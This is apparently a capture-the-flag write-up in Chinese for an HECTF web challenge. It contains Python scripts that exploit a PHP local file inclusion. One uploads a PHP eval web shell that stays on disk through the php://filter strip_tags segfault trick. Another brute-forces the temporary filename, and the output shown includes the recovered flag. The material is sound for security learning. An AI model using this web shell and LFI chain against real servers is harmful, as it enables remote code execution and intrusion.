分析一下代码，想到是
PHP LFI 包含临时文件＋string.strip_tags过滤器导致出现php segment fault
写一个脚本

```
import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://ip/?file=php://filter/string.strip_tags/resource=index.php"
r=requests.post(url=url,files=data,allow_redirects=False)
```

写入一句话后，传入?file=tmp
返回了临时文件的后四位，一共是九位，php??uCck,，还差两位

</code>uCck
写脚本爆破最后两位

```
import requests
import string
import time

# 目标URL的基础部分（??为待爆破位置）
base_url = "http://ip/?file=/tmp/php{}{}uCck"

# 爆破字符集：数字 + 大写字母 + 小写字母
chars = string.digits + string.ascii_uppercase + string.ascii_lowercase

# 请求头（根据提供的数据包构造）
headers = {
    "Host": "ip",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101
Firefox/144.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "close",
"Cookie":
"BEEFHOOK=v9I9riSiUl5aAaBp1TD92APnVIe94w8whQSHqUW1p9KX43aUihRWqBASlt60
8WnLT6N4BfmKPSczQ0IN",
    "Upgrade-Insecure-Requests": "1",
    "Priority": "u=0, i",
    "Content-Type": "application/x-www-form-urlencoded"
}

# POST数据
data = "cmd=phpinfo();"

# 成功标识（phpinfo()的特征内容，可根据实际情况调整）
success_flag = "PHP Version"

# 遍历所有可能的两位组合
for c1 in chars:
    for c2 in chars:
```

```
        # 构造完整URL
        target_url = base_url.format(c1, c2)
        print(f"尝试: {target_url}")

        try:
            # 发送POST请求（超时时间10秒）
            response = requests.post(
                url=target_url,
                headers=headers,
                data=data,
                timeout=10,
                verify=False  # 忽略SSL证书验证（如果需要）
            )

            # 检查响应中是否包含成功标识
            if success_flag in response.text:
                print(f"\n[!] 爆破成功！正确组合: {c1}{c2}")
                print(f"[!] 响应内容片段: {response.text[:500]}")  # 输出部分响应
                exit()  # 找到后退出

            # 避免请求过于频繁，间隔0.5秒（可根据目标调整）
            time.sleep(0.5)

        except requests.exceptions.RequestException as e:
            print(f"请求错误: {e}")
            continue

    print("\n[!] 所有组合尝试完毕，未找到匹配结果")
```

```
[!] 爆破成功! 正确组合: OL
[!] 响应内容片段: <code><span style="color: #000000">
<br /></span><span style="color: #0000BB">$file </span><span style="color: #007700">= </span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</

Process finished with exit code 0
```

完整文件名为phpOLuCck

接下来文件包含，读取flag
http://ip/?file=/tmp/phpOLuCck


HECTF{7433622bfc2c0-b0c6bb7183d03e2-b6b7c23328560}